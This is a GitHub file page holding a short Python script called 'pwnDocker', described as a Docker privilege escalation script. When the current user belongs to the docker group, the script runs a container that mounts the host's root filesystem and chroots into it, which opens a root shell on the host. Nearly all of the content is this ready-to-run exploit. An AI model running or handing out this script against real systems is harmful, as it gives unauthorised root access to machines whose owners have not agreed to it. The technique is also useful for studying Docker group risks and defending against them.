Skip to content
Permalink
40e8c2a37e
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
14 lines (10 sloc) 376 Bytes
"""pwnDocker - A docker priv esc script by Ben Roxbee Cox"""
import os
from os import popen
def main():
id = popen("id").read() # Get user groups
if "docker" in id: os.system("docker run -it -v /:/mnt alpine chroot /mnt") # priv esc
else: print("This user is not part of the docker group. Exiting...")
return()
if __name__ == '__main__':
main()